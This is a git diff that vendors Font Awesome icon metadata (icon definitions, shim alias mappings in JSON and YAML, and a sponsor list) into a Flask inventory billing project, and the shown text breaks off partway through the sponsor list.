terms: + - daoism + - opposites + - taoism + styles: + - solid + unicode: f6ad + voted: false +yoast: + changes: + - '4.6' + - 5.0.0 + - 5.0.3 + label: Yoast + search: + terms: [] + styles: + - brands + unicode: f2b1 + voted: false +youtube: + changes: + - '3.2' + - 5.0.0 + label: YouTube + search: + terms: + - film + - video + - youtube-play + - youtube-square + styles: + - brands + unicode: f167 + voted: false +youtube-square: + changes: + - 5.0.3 + label: YouTube Square + search: + terms: [] + styles: + - brands + unicode: f431 + voted: false +zhihu: + changes: + - 5.2.0 + label: Zhihu + search: + terms: [] + styles: + - brands + unicode: f63f + voted: true diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/metadata/shims.json b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/metadata/shims.json new file mode 100644 index 00000000..9e055269 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/metadata/shims.json @@ -0,0 +1,2317 @@ +[ + [ + "glass", + null, + "glass-martini" + ], + [ + "meetup", + "fab", + null + ], + [ + "star-o", + "far", + "star" + ], + [ + "remove", + null, + "times" + ], + [ + "close", + null, + "times" + ], + [ + "gear", + null, + "cog" + ], + [ + "trash-o", + "far", + "trash-alt" + ], + [ + "file-o", + "far", + "file" + ], + [ + "clock-o", + "far", + "clock" + ], + [ + "arrow-circle-o-down", + "far", + "arrow-alt-circle-down" + ], + [ + "arrow-circle-o-up", + "far", + "arrow-alt-circle-up" + ], + [ + "play-circle-o", + "far", + "play-circle" + ], + [ + "repeat", + null, + "redo" + ], + [ + "rotate-right", + null, + "redo" + ], + [ + "refresh", + null, + "sync" + ], + [ + "list-alt", + "far", + null + ], + [ + "dedent", + null, + "outdent" + ], + [ + "video-camera", + null, + "video" + ], + [ + "picture-o", + "far", + "image" + ], + [ + "photo", + "far", + "image" + ], + [ + "image", + "far", + "image" + ], + [ + "pencil", + null, + "pencil-alt" + ], + [ + "map-marker", + null, + "map-marker-alt" + ], + [ + "pencil-square-o", + "far", + "edit" + ], + [ + "share-square-o", + "far", + "share-square" + ], + [ + "check-square-o", + "far", + "check-square" + ], + [ + "arrows", + null, + "arrows-alt" + ], + [ + "times-circle-o", + "far", + "times-circle" + ], + [ + "check-circle-o", + "far", + "check-circle" + ], + [ + "mail-forward", + null, + "share" + ], + [ + "expand", + null, + "expand-alt" + ], + [ + "compress", + null, + "compress-alt" + ], + [ + "eye", + "far", + null + ], + [ + "eye-slash", + "far", + null + ], + [ + "warning", + null, + "exclamation-triangle" + ], + [ + "calendar", + null, + "calendar-alt" + ], + [ + "arrows-v", + null, + "arrows-alt-v" + ], + [ + "arrows-h", + null, + "arrows-alt-h" + ], + [ + "bar-chart", + "far", + "chart-bar" + ], + [ + "bar-chart-o", + "far", + "chart-bar" + ], + [ + "twitter-square", + "fab", + null + ], + [ + "facebook-square", + "fab", + null + ], + [ + "gears", + null, + "cogs" + ], + [ + "thumbs-o-up", + "far", + "thumbs-up" + ], + [ + "thumbs-o-down", + "far", + "thumbs-down" + ], + [ + "heart-o", + "far", + "heart" + ], + [ + "sign-out", + null, + "sign-out-alt" + ], + [ + "linkedin-square", + "fab", + "linkedin" + ], + [ + "thumb-tack", + null, + "thumbtack" + ], + [ + "external-link", + null, + "external-link-alt" + ], + [ + "sign-in", + null, + "sign-in-alt" + ], + [ + "github-square", + "fab", + null + ], + [ + "lemon-o", + "far", + "lemon" + ], + [ + "square-o", + "far", + "square" + ], + [ + "bookmark-o", + "far", + "bookmark" + ], + [ + "twitter", + "fab", + null + ], + [ + "facebook", + "fab", + "facebook-f" + ], + [ + "facebook-f", + "fab", + "facebook-f" + ], + [ + "github", + "fab", + null + ], + [ + "credit-card", + "far", + null + ], + [ + "feed", + null, + "rss" + ], + [ + "hdd-o", + "far", + "hdd" + ], + [ + "hand-o-right", + "far", + "hand-point-right" + ], + [ + "hand-o-left", + "far", + "hand-point-left" + ], + [ + "hand-o-up", + "far", + "hand-point-up" + ], + [ + "hand-o-down", + "far", + "hand-point-down" + ], + [ + "arrows-alt", + null, + "expand-arrows-alt" + ], + [ + "group", + null, + "users" + ], + [ + "chain", + null, + "link" + ], + [ + "scissors", + null, + "cut" + ], + [ + "files-o", + "far", + "copy" + ], + [ + "floppy-o", + "far", + "save" + ], + [ + "navicon", + null, + "bars" + ], + [ + "reorder", + null, + "bars" + ], + [ + "pinterest", + "fab", + null + ], + [ + "pinterest-square", + "fab", + null + ], + [ + "google-plus-square", + "fab", + null + ], + [ + "google-plus", + "fab", + "google-plus-g" + ], + [ + "money", + "far", + "money-bill-alt" + ], + [ + "unsorted", + null, + "sort" + ], + [ + "sort-desc", + null, + "sort-down" + ], + [ + "sort-asc", + null, + "sort-up" + ], + [ + "linkedin", + "fab", + "linkedin-in" + ], + [ + "rotate-left", + null, + "undo" + ], + [ + "legal", + null, + "gavel" + ], + [ + "tachometer", + null, + "tachometer-alt" + ], + [ + "dashboard", + null, + "tachometer-alt" + ], + [ + "comment-o", + "far", + "comment" + ], + [ + "comments-o", + "far", + "comments" + ], + [ + "flash", + null, + "bolt" + ], + [ + "clipboard", + "far", + null + ], + [ + "paste", + "far", + "clipboard" + ], + [ + "lightbulb-o", + "far", + "lightbulb" + ], + [ + "exchange", + null, + "exchange-alt" + ], + [ + "cloud-download", + null, + "cloud-download-alt" + ], + [ + "cloud-upload", + null, + "cloud-upload-alt" + ], + [ + "bell-o", + "far", + "bell" + ], + [ + "cutlery", + null, + "utensils" + ], + [ + "file-text-o", + "far", + "file-alt" + ], + [ + "building-o", + "far", + "building" + ], + [ + "hospital-o", + "far", + "hospital" + ], + [ + "tablet", + null, + "tablet-alt" + ], + [ + "mobile", + null, + "mobile-alt" + ], + [ + "mobile-phone", + null, + "mobile-alt" + ], + [ + "circle-o", + "far", + "circle" + ], + [ + "mail-reply", + null, + "reply" + ], + [ + "github-alt", + "fab", + null + ], + [ + "folder-o", + "far", + "folder" + ], + [ + "folder-open-o", + "far", + "folder-open" + ], + [ + "smile-o", + "far", + "smile" + ], + [ + "frown-o", + "far", + "frown" + ], + [ + "meh-o", + "far", + "meh" + ], + [ + "keyboard-o", + "far", + "keyboard" + ], + [ + "flag-o", + "far", + "flag" + ], + [ + "mail-reply-all", + null, + "reply-all" + ], + [ + "star-half-o", + "far", + "star-half" + ], + [ + "star-half-empty", + "far", + "star-half" + ], + [ + "star-half-full", + "far", + "star-half" + ], + [ + "code-fork", + null, + "code-branch" + ], + [ + "chain-broken", + null, + "unlink" + ], + [ + "shield", + null, + "shield-alt" + ], + [ + "calendar-o", + "far", + "calendar" + ], + [ + "maxcdn", + "fab", + null + ], + [ + "html5", + "fab", + null + ], + [ + "css3", + "fab", + null + ], + [ + "ticket", + null, + "ticket-alt" + ], + [ + "minus-square-o", + "far", + "minus-square" + ], + [ + "level-up", + null, + "level-up-alt" + ], + [ + "level-down", + null, + "level-down-alt" + ], + [ + "pencil-square", + null, + "pen-square" + ], + [ + "external-link-square", + null, + "external-link-square-alt" + ], + [ + "compass", + "far", + null + ], + [ + "caret-square-o-down", + "far", + "caret-square-down" + ], + [ + "toggle-down", + "far", + "caret-square-down" + ], + [ + "caret-square-o-up", + "far", + "caret-square-up" + ], + [ + "toggle-up", + "far", + "caret-square-up" + ], + [ + "caret-square-o-right", + "far", + "caret-square-right" + ], + [ + "toggle-right", + "far", + "caret-square-right" + ], + [ + "eur", + null, + "euro-sign" + ], + [ + "euro", + null, + "euro-sign" + ], + [ + "gbp", + null, + "pound-sign" + ], + [ + "usd", + null, + "dollar-sign" + ], + [ + "dollar", + null, + "dollar-sign" + ], + [ + "inr", + null, + "rupee-sign" + ], + [ + "rupee", + null, + "rupee-sign" + ], + [ + "jpy", + null, + "yen-sign" + ], + [ + "cny", + null, + "yen-sign" + ], + [ + "rmb", + null, + "yen-sign" + ], + [ + "yen", + null, + "yen-sign" + ], + [ + "rub", + null, + "ruble-sign" + ], + [ + "ruble", + null, + "ruble-sign" + ], + [ + "rouble", + null, + "ruble-sign" + ], + [ + "krw", + null, + "won-sign" + ], + [ + "won", + null, + "won-sign" + ], + [ + "btc", + "fab", + null + ], + [ + "bitcoin", + "fab", + "btc" + ], + [ + "file-text", + null, + "file-alt" + ], + [ + "sort-alpha-asc", + null, + "sort-alpha-down" + ], + [ + "sort-alpha-desc", + null, + "sort-alpha-down-alt" + ], + [ + "sort-amount-asc", + null, + "sort-amount-down" + ], + [ + "sort-amount-desc", + null, + "sort-amount-down-alt" + ], + [ + "sort-numeric-asc", + null, + "sort-numeric-down" + ], + [ + "sort-numeric-desc", + null, + "sort-numeric-down-alt" + ], + [ + "youtube-square", + "fab", + null + ], + [ + "youtube", + "fab", + null + ], + [ + "xing", + "fab", + null + ], + [ + "xing-square", + "fab", + null + ], + [ + "youtube-play", + "fab", + "youtube" + ], + [ + "dropbox", + "fab", + null + ], + [ + "stack-overflow", + "fab", + null + ], + [ + "instagram", + "fab", + null + ], + [ + "flickr", + "fab", + null + ], + [ + "adn", + "fab", + null + ], + [ + "bitbucket", + "fab", + null + ], + [ + "bitbucket-square", + "fab", + "bitbucket" + ], + [ + "tumblr", + "fab", + null + ], + [ + "tumblr-square", + "fab", + null + ], + [ + "long-arrow-down", + null, + "long-arrow-alt-down" + ], + [ + "long-arrow-up", + null, + "long-arrow-alt-up" + ], + [ + "long-arrow-left", + null, + "long-arrow-alt-left" + ], + [ + "long-arrow-right", + null, + "long-arrow-alt-right" + ], + [ + "apple", + "fab", + null + ], + [ + "windows", + "fab", + null + ], + [ + "android", + "fab", + null + ], + [ + "linux", + "fab", + null + ], + [ + "dribbble", + "fab", + null + ], + [ + "skype", + "fab", + null + ], + [ + "foursquare", + "fab", + null + ], + [ + "trello", + "fab", + null + ], + [ + "gratipay", + "fab", + null + ], + [ + "gittip", + "fab", + "gratipay" + ], + [ + "sun-o", + "far", + "sun" + ], + [ + "moon-o", + "far", + "moon" + ], + [ + "vk", + "fab", + null + ], + [ + "weibo", + "fab", + null + ], + [ + "renren", + "fab", + null + ], + [ + "pagelines", + "fab", + null + ], + [ + "stack-exchange", + "fab", + null + ], + [ + "arrow-circle-o-right", + "far", + "arrow-alt-circle-right" + ], + [ + "arrow-circle-o-left", + "far", + "arrow-alt-circle-left" + ], + [ + "caret-square-o-left", + "far", + "caret-square-left" + ], + [ + "toggle-left", + "far", + "caret-square-left" + ], + [ + "dot-circle-o", + "far", + "dot-circle" + ], + [ + "vimeo-square", + "fab", + null + ], + [ + "try", + null, + "lira-sign" + ], + [ + "turkish-lira", + null, + "lira-sign" + ], + [ + "plus-square-o", + "far", + "plus-square" + ], + [ + "slack", + "fab", + null + ], + [ + "wordpress", + "fab", + null + ], + [ + "openid", + "fab", + null + ], + [ + "institution", + null, + "university" + ], + [ + "bank", + null, + "university" + ], + [ + "mortar-board", + null, + "graduation-cap" + ], + [ + "yahoo", + "fab", + null + ], + [ + "google", + "fab", + null + ], + [ + "reddit", + "fab", + null + ], + [ + "reddit-square", + "fab", + null + ], + [ + "stumbleupon-circle", + "fab", + null + ], + [ + "stumbleupon", + "fab", + null + ], + [ + "delicious", + "fab", + null + ], + [ + "digg", + "fab", + null + ], + [ + "pied-piper-pp", + "fab", + null + ], + [ + "pied-piper-alt", + "fab", + null + ], + [ + "drupal", + "fab", + null + ], + [ + "joomla", + "fab", + null + ], + [ + "spoon", + null, + "utensil-spoon" + ], + [ + "behance", + "fab", + null + ], + [ + "behance-square", + "fab", + null + ], + [ + "steam", + "fab", + null + ], + [ + "steam-square", + "fab", + null + ], + [ + "automobile", + null, + "car" + ], + [ + "envelope-o", + "far", + "envelope" + ], + [ + "spotify", + "fab", + null + ], + [ + "deviantart", + "fab", + null + ], + [ + "soundcloud", + "fab", + null + ], + [ + "file-pdf-o", + "far", + "file-pdf" + ], + [ + "file-word-o", + "far", + "file-word" + ], + [ + "file-excel-o", + "far", + "file-excel" + ], + [ + "file-powerpoint-o", + "far", + "file-powerpoint" + ], + [ + "file-image-o", + "far", + "file-image" + ], + [ + "file-photo-o", + "far", + "file-image" + ], + [ + "file-picture-o", + "far", + "file-image" + ], + [ + "file-archive-o", + "far", + "file-archive" + ], + [ + "file-zip-o", + "far", + "file-archive" + ], + [ + "file-audio-o", + "far", + "file-audio" + ], + [ + "file-sound-o", + "far", + "file-audio" + ], + [ + "file-video-o", + "far", + "file-video" + ], + [ + "file-movie-o", + "far", + "file-video" + ], + [ + "file-code-o", + "far", + "file-code" + ], + [ + "vine", + "fab", + null + ], + [ + "codepen", + "fab", + null + ], + [ + "jsfiddle", + "fab", + null + ], + [ + "life-ring", + "far", + null + ], + [ + "life-bouy", + "far", + "life-ring" + ], + [ + "life-buoy", + "far", + "life-ring" + ], + [ + "life-saver", + "far", + "life-ring" + ], + [ + "support", + "far", + "life-ring" + ], + [ + "circle-o-notch", + null, + "circle-notch" + ], + [ + "rebel", + "fab", + null + ], + [ + "ra", + "fab", + "rebel" + ], + [ + "resistance", + "fab", + "rebel" + ], + [ + "empire", + "fab", + null + ], + [ + "ge", + "fab", + "empire" + ], + [ + "git-square", + "fab", + null + ], + [ + "git", + "fab", + null + ], + [ + "hacker-news", + "fab", + null + ], + [ + "y-combinator-square", + "fab", + "hacker-news" + ], + [ + "yc-square", + "fab", + "hacker-news" + ], + [ + "tencent-weibo", + "fab", + null + ], + [ + "qq", + "fab", + null + ], + [ + "weixin", + "fab", + null + ], + [ + "wechat", + "fab", + "weixin" + ], + [ + "send", + null, + "paper-plane" + ], + [ + "paper-plane-o", + "far", + "paper-plane" + ], + [ + "send-o", + "far", + "paper-plane" + ], + [ + "circle-thin", + "far", + "circle" + ], + [ + "header", + null, + "heading" + ], + [ + "sliders", + null, + "sliders-h" + ], + [ + "futbol-o", + "far", + "futbol" + ], + [ + "soccer-ball-o", + "far", + "futbol" + ], + [ + "slideshare", + "fab", + null + ], + [ + "twitch", + "fab", + null + ], + [ + "yelp", + "fab", + null + ], + [ + "newspaper-o", + "far", + "newspaper" + ], + [ + "paypal", + "fab", + null + ], + [ + "google-wallet", + "fab", + null + ], + [ + "cc-visa", + "fab", + null + ], + [ + "cc-mastercard", + "fab", + null + ], + [ + "cc-discover", + "fab", + null + ], + [ + "cc-amex", + "fab", + null + ], + [ + "cc-paypal", + "fab", + null + ], + [ + "cc-stripe", + "fab", + null + ], + [ + "bell-slash-o", + "far", + "bell-slash" + ], + [ + "trash", + null, + "trash-alt" + ], + [ + "copyright", + "far", + null + ], + [ + "eyedropper", + null, + "eye-dropper" + ], + [ + "area-chart", + null, + "chart-area" + ], + [ + "pie-chart", + null, + "chart-pie" + ], + [ + "line-chart", + null, + "chart-line" + ], + [ + "lastfm", + "fab", + null + ], + [ + "lastfm-square", + "fab", + null + ], + [ + "ioxhost", + "fab", + null + ], + [ + "angellist", + "fab", + null + ], + [ + "cc", + "far", + "closed-captioning" + ], + [ + "ils", + null, + "shekel-sign" + ], + [ + "shekel", + null, + "shekel-sign" + ], + [ + "sheqel", + null, + "shekel-sign" + ], + [ + "meanpath", + "fab", + "font-awesome" + ], + [ + "buysellads", + "fab", + null + ], + [ + "connectdevelop", + "fab", + null + ], + [ + "dashcube", + "fab", + null + ], + [ + "forumbee", + "fab", + null + ], + [ + "leanpub", + "fab", + null + ], + [ + "sellsy", + "fab", + null + ], + [ + "shirtsinbulk", + "fab", + null + ], + [ + "simplybuilt", + "fab", + null + ], + [ + "skyatlas", + "fab", + null + ], + [ + "diamond", + "far", + "gem" + ], + [ + "intersex", + null, + "transgender" + ], + [ + "facebook-official", + "fab", + "facebook" + ], + [ + "pinterest-p", + "fab", + null + ], + [ + "whatsapp", + "fab", + null + ], + [ + "hotel", + null, + "bed" + ], + [ + "viacoin", + "fab", + null + ], + [ + "medium", + "fab", + null + ], + [ + "y-combinator", + "fab", + null + ], + [ + "yc", + "fab", + "y-combinator" + ], + [ + "optin-monster", + "fab", + null + ], + [ + "opencart", + "fab", + null + ], + [ + "expeditedssl", + "fab", + null + ], + [ + "battery-4", + null, + "battery-full" + ], + [ + "battery", + null, + "battery-full" + ], + [ + "battery-3", + null, + "battery-three-quarters" + ], + [ + "battery-2", + null, + "battery-half" + ], + [ + "battery-1", + null, + "battery-quarter" + ], + [ + "battery-0", + null, + "battery-empty" + ], + [ + "object-group", + "far", + null + ], + [ + "object-ungroup", + "far", + null + ], + [ + "sticky-note-o", + "far", + "sticky-note" + ], + [ + "cc-jcb", + "fab", + null + ], + [ + "cc-diners-club", + "fab", + null + ], + [ + "clone", + "far", + null + ], + [ + "hourglass-o", + "far", + "hourglass" + ], + [ + "hourglass-1", + null, + "hourglass-start" + ], + [ + "hourglass-2", + null, + "hourglass-half" + ], + [ + "hourglass-3", + null, + "hourglass-end" + ], + [ + "hand-rock-o", + "far", + "hand-rock" + ], + [ + "hand-grab-o", + "far", + "hand-rock" + ], + [ + "hand-paper-o", + "far", + "hand-paper" + ], + [ + "hand-stop-o", + "far", + "hand-paper" + ], + [ + "hand-scissors-o", + "far", + "hand-scissors" + ], + [ + "hand-lizard-o", + "far", + "hand-lizard" + ], + [ + "hand-spock-o", + "far", + "hand-spock" + ], + [ + "hand-pointer-o", + "far", + "hand-pointer" + ], + [ + "hand-peace-o", + "far", + "hand-peace" + ], + [ + "registered", + "far", + null + ], + [ + "creative-commons", + "fab", + null + ], + [ + "gg", + "fab", + null + ], + [ + "gg-circle", + "fab", + null + ], + [ + "tripadvisor", + "fab", + null + ], + [ + "odnoklassniki", + "fab", + null + ], + [ + "odnoklassniki-square", + "fab", + null + ], + [ + "get-pocket", + "fab", + null + ], + [ + "wikipedia-w", + "fab", + null + ], + [ + "safari", + "fab", + null + ], + [ + "chrome", + "fab", + null + ], + [ + "firefox", + "fab", + null + ], + [ + "opera", + "fab", + null + ], + [ + "internet-explorer", + "fab", + null + ], + [ + "television", + null, + "tv" + ], + [ + "contao", + "fab", + null + ], + [ + "500px", + "fab", + null + ], + [ + "amazon", + "fab", + null + ], + [ + "calendar-plus-o", + "far", + "calendar-plus" + ], + [ + "calendar-minus-o", + "far", + "calendar-minus" + ], + [ + "calendar-times-o", + "far", + "calendar-times" + ], + [ + "calendar-check-o", + "far", + "calendar-check" + ], + [ + "map-o", + "far", + "map" + ], + [ + "commenting", + null, + "comment-dots" + ], + [ + "commenting-o", + "far", + "comment-dots" + ], + [ + "houzz", + "fab", + null + ], + [ + "vimeo", + "fab", + "vimeo-v" + ], + [ + "black-tie", + "fab", + null + ], + [ + "fonticons", + "fab", + null + ], + [ + "reddit-alien", + "fab", + null + ], + [ + "edge", + "fab", + null + ], + [ + "credit-card-alt", + null, + "credit-card" + ], + [ + "codiepie", + "fab", + null + ], + [ + "modx", + "fab", + null + ], + [ + "fort-awesome", + "fab", + null + ], + [ + "usb", + "fab", + null + ], + [ + "product-hunt", + "fab", + null + ], + [ + "mixcloud", + "fab", + null + ], + [ + "scribd", + "fab", + null + ], + [ + "pause-circle-o", + "far", + "pause-circle" + ], + [ + "stop-circle-o", + "far", + "stop-circle" + ], + [ + "bluetooth", + "fab", + null + ], + [ + "bluetooth-b", + "fab", + null + ], + [ + "gitlab", + "fab", + null + ], + [ + "wpbeginner", + "fab", + null + ], + [ + "wpforms", + "fab", + null + ], + [ + "envira", + "fab", + null + ], + [ + "wheelchair-alt", + "fab", + "accessible-icon" + ], + [ + "question-circle-o", + "far", + "question-circle" + ], + [ + "volume-control-phone", + null, + "phone-volume" + ], + [ + "asl-interpreting", + null, + "american-sign-language-interpreting" + ], + [ + "deafness", + null, + "deaf" + ], + [ + "hard-of-hearing", + null, + "deaf" + ], + [ + "glide", + "fab", + null + ], + [ + "glide-g", + "fab", + null + ], + [ + "signing", + null, + "sign-language" + ], + [ + "viadeo", + "fab", + null + ], + [ + "viadeo-square", + "fab", + null + ], + [ + "snapchat", + "fab", + null + ], + [ + "snapchat-ghost", + "fab", + null + ], + [ + "snapchat-square", + "fab", + null + ], + [ + "pied-piper", + "fab", + null + ], + [ + "first-order", + "fab", + null + ], + [ + "yoast", + "fab", + null + ], + [ + "themeisle", + "fab", + null + ], + [ + "google-plus-official", + "fab", + "google-plus" + ], + [ + "google-plus-circle", + "fab", + "google-plus" + ], + [ + "font-awesome", + "fab", + null + ], + [ + "fa", + "fab", + "font-awesome" + ], + [ + "handshake-o", + "far", + "handshake" + ], + [ + "envelope-open-o", + "far", + "envelope-open" + ], + [ + "linode", + "fab", + null + ], + [ + "address-book-o", + "far", + "address-book" + ], + [ + "vcard", + null, + "address-card" + ], + [ + "address-card-o", + "far", + "address-card" + ], + [ + "vcard-o", + "far", + "address-card" + ], + [ + "user-circle-o", + "far", + "user-circle" + ], + [ + "user-o", + "far", + "user" + ], + [ + "id-badge", + "far", + null + ], + [ + "drivers-license", + null, + "id-card" + ], + [ + "id-card-o", + "far", + "id-card" + ], + [ + "drivers-license-o", + "far", + "id-card" + ], + [ + "quora", + "fab", + null + ], + [ + "free-code-camp", + "fab", + null + ], + [ + "telegram", + "fab", + null + ], + [ + "thermometer-4", + null, + "thermometer-full" + ], + [ + "thermometer", + null, + "thermometer-full" + ], + [ + "thermometer-3", + null, + "thermometer-three-quarters" + ], + [ + "thermometer-2", + null, + "thermometer-half" + ], + [ + "thermometer-1", + null, + "thermometer-quarter" + ], + [ + "thermometer-0", + null, + "thermometer-empty" + ], + [ + "bathtub", + null, + "bath" + ], + [ + "s15", + null, + "bath" + ], + [ + "window-maximize", + "far", + null + ], + [ + "window-restore", + "far", + null + ], + [ + "times-rectangle", + null, + "window-close" + ], + [ + "window-close-o", + "far", + "window-close" + ], + [ + "times-rectangle-o", + "far", + "window-close" + ], + [ + "bandcamp", + "fab", + null + ], + [ + "grav", + "fab", + null + ], + [ + "etsy", + "fab", + null + ], + [ + "imdb", + "fab", + null + ], + [ + "ravelry", + "fab", + null + ], + [ + "eercast", + "fab", + "sellcast" + ], + [ + "snowflake-o", + "far", + "snowflake" + ], + [ + "superpowers", + "fab", + null + ], + [ + "wpexplorer", + "fab", + null + ], + [ + "cab", + null, + "taxi" + ] +] \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/metadata/shims.yml b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/metadata/shims.yml new file mode 100644 index 00000000..a47caebb --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/metadata/shims.yml @@ -0,0 +1,298 @@ +area-chart: + name: chart-area +arrow-circle-o-down: + name: arrow-alt-circle-down + prefix: far +arrow-circle-o-left: + name: arrow-alt-circle-left + prefix: far +arrow-circle-o-right: + name: arrow-alt-circle-right + prefix: far +arrow-circle-o-up: + name: arrow-alt-circle-up + prefix: far +arrows: + name: arrows-alt +arrows-alt: + name: expand-arrows-alt +arrows-h: + name: arrows-alt-h +arrows-v: + name: arrows-alt-v +bar-chart: + name: chart-bar + prefix: far +bitbucket-square: + name: bitbucket + prefix: fab +calendar: + name: calendar-alt +calendar-o: + name: calendar + prefix: far +caret-square-o-down: + name: caret-square-down + prefix: far +caret-square-o-left: + name: caret-square-left + prefix: far +caret-square-o-right: + name: caret-square-right + prefix: far +caret-square-o-up: + name: caret-square-up + prefix: far +cc: + name: closed-captioning + prefix: far +chain-broken: + name: unlink +circle-o-notch: + name: circle-notch +circle-thin: + name: circle + prefix: far +clipboard: + prefix: far +clone: + prefix: far +cloud-download: + name: cloud-download-alt +cloud-upload: + name: cloud-upload-alt +code-fork: + name: code-branch +comment-alt: + name: comment-dots + prefix: far +commenting: + name: comment-dots +compass: + prefix: far +compress: + name: compress-alt +copyright: + prefix: far +creative-commons: + prefix: fab +credit-card: + prefix: far +credit-card-alt: + name: credit-card +cutlery: + name: utensils +diamond: + name: gem + prefix: far +eercast: + name: sellcast + prefix: fab +eur: + name: euro-sign +exchange: + name: exchange-alt +expand: + name: expand-alt +external-link: + name: external-link-alt +external-link-square: + name: external-link-square-alt +eye: + prefix: far +eye-dropper: + name: eye-dropper + prefix: far +eye-slash: + prefix: far +eyedropper: + name: eye-dropper +facebook: + name: facebook-f + prefix: fab +facebook-official: + name: facebook + prefix: fab +file-text: + name: file-alt +files-o: + name: copy + prefix: far +floppy-o: + name: save + prefix: far +gbp: + name: pound-sign +glass: + name: glass-martini +google-plus: + name: google-plus-g + prefix: fab +google-plus-circle: + name: google-plus + prefix: fab +google-plus-official: + name: google-plus + prefix: fab +hand-o-down: + name: hand-point-down + prefix: far +hand-o-left: + name: hand-point-left + prefix: far +hand-o-right: + name: hand-point-right + prefix: far +hand-o-up: + name: hand-point-up + prefix: far +header: + name: heading +id-badge: + prefix: far +ils: + name: shekel-sign +inr: + name: rupee-sign +intersex: + name: transgender +jpy: + name: yen-sign +krw: + name: won-sign +level-down: + name: level-down-alt +level-up: + name: level-up-alt +life-ring: + prefix: far +line-chart: + name: chart-line +linkedin: + name: linkedin-in + prefix: fab +linkedin-square: + name: linkedin + prefix: fab +list-alt: + prefix: far +long-arrow-down: + name: long-arrow-alt-down +long-arrow-left: + name: long-arrow-alt-left +long-arrow-right: + name: long-arrow-alt-right +long-arrow-up: + name: long-arrow-alt-up +map-marker: + name: map-marker-alt +meanpath: + name: font-awesome + prefix: fab +mobile: + name: mobile-alt +money: + name: money-bill-alt + prefix: far +object-group: + prefix: far +object-ungroup: + prefix: far +paste: + prefix: far +pencil: + name: pencil-alt +pencil-square: + name: pen-square +pencil-square-o: + name: edit + prefix: far +picture: + name: image +pie-chart: + name: chart-pie +refresh: + name: sync +registered: + prefix: far +repeat: + name: redo +rub: + name: ruble-sign +scissors: + name: cut +shield: + name: shield-alt +sign-in: + name: sign-in-alt +sign-out: + name: sign-out-alt +sliders: + name: sliders-h +sort-alpha-asc: + name: sort-alpha-down +sort-alpha-desc: + name: sort-alpha-down-alt +sort-amount-asc: + name: sort-amount-down +sort-amount-desc: + name: sort-amount-down-alt +sort-asc: + name: sort-up +sort-desc: + name: sort-down +sort-numeric-asc: + name: sort-numeric-down +sort-numeric-desc: + name: sort-numeric-down-alt +spoon: + name: utensil-spoon +star-half-empty: + name: star-half +star-half-full: + name: star-half +support: + name: life-ring + prefix: far +tablet: + name: tablet-alt +tachometer: + name: tachometer-alt +television: + name: tv +thumb-tack: + name: thumbtack +thumbs-o-down: + name: thumbs-down + prefix: far +thumbs-o-up: + name: thumbs-up + prefix: far +ticket: + name: ticket-alt +trash: + name: trash-alt +trash-o: + name: trash-alt + prefix: far +try: + name: lira-sign +usd: + name: dollar-sign +video-camera: + name: video +vimeo: + name: vimeo-v + prefix: fab +volume-control-phone: + name: phone-volume +wheelchair-alt: + name: accessible-icon + prefix: fab +window-maximize: + prefix: far +window-restore: + prefix: far +youtube-play: + name: youtube + prefix: fab diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/metadata/sponsors.yml b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/metadata/sponsors.yml new file mode 100644 index 00000000..e4fe9514 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/metadata/sponsors.yml @@ -0,0 +1,744 @@ +accusoft: + icons: + - accusoft + label: Accusoft + url: 'https://www.accusoft.com' +administrator-technology: + icons: + - stream + label: Administrator Technology + url: 'https://administrator.de' +adversal: + icons: + - adversal + label: Adversal + url: 'https://www.adversal.com' +affiliatetheme: + icons: + - affiliatetheme + label: affiliatetheme + url: 'https://affiliatetheme.io/en' +algolia: + icons: + - algolia + label: Algolia + url: 'http://www.algolia.com' +amazon-web-services: + icons: + - aws + label: Amazon Web Services + url: 'https://aws.amazon.com' +amilia: + icons: + - amilia + label: Amilia + url: 'http://www.amilia.com' +angry-creative: + icons: + - angrycreative + label: Angry Creative + url: 'https://angrycreative.se' +app-signal: + icons: + - stroopwafel + label: AppSignal + url: 'https://appsignal.com' +apper-systems-ab: + icons: + - apper + label: Apper Systems AB + url: 'http://www.apper.com' +'asymmetrik,ltd': + icons: + - asymmetrik + label: 'Asymmetrik, Ltd.' + url: 'http://asymmetrik.com' +ausmed-education: + icons: + - user-nurse + label: Ausmed Education + url: 'https://www.ausmed.com.au' +avianex: + icons: + - avianex + label: avianex + url: 'https://www.avianex.de' +bi-mobject: + icons: + - bimobject + label: BIMobject + url: 'http://bimobject.com' +bity: + icons: + - bity + label: Bity + url: 'http://bity.com' +blackpulp-designs: + icons: + - pray + label: Blackpulp Designs + url: 'https://www.blackpulp.com' +blissbook: + icons: + - pen-fancy + label: Blissbook + url: 'https://blissbook.com' +büromöbel-experte-gmb-h &co-kg: + icons: + - buromobelexperte + label: Büromöbel-Experte GmbH & Co. KG. + url: 'https://www.bueromoebel-experte.de' +c-panel: + icons: + - cpanel + label: cPanel + url: 'http://cpanel.com' +centercode: + icons: + - centercode + label: Centercode + url: 'https://www.centercode.com' +cibltd: + icons: + - drum-steelpan + label: Comprehensive Insurance Brokers Limited + url: 'http://www.cibltd.com' +clear-blue-technologies: + icons: + - solar-panel + label: Clear Blue Technologies + url: 'http://www.clearbluetechnologies.com' +cloudflare: + icons: + - cloudflare + label: Cloudflare + url: 'https://www.cloudflare.com' +cloudscale-ch: + icons: + - cloudscale + label: cloudscale.ch + url: 'https://www.cloudscale.ch' +cloudsmith: + icons: + - cloudsmith + label: Cloudsmith + url: 'https://cloudsmith.io' +cloudversify: + icons: + - cloudversify + label: cloudversify + url: 'https://www.cloudversify.com' +cuttlefish: + icons: + - cuttlefish + label: Cuttlefish + url: 'http://wearecuttlefish.com' +cymedica: + icons: + - wave-square + label: CyMedica + url: 'https://www.cymedicaortho.com' +darren-wiebe: + icons: + - church + label: Darren Wiebe +deploy-dog: + icons: + - deploydog + label: deploy.dog + url: 'http://deploy.dog' +deskpro: + icons: + - deskpro + label: 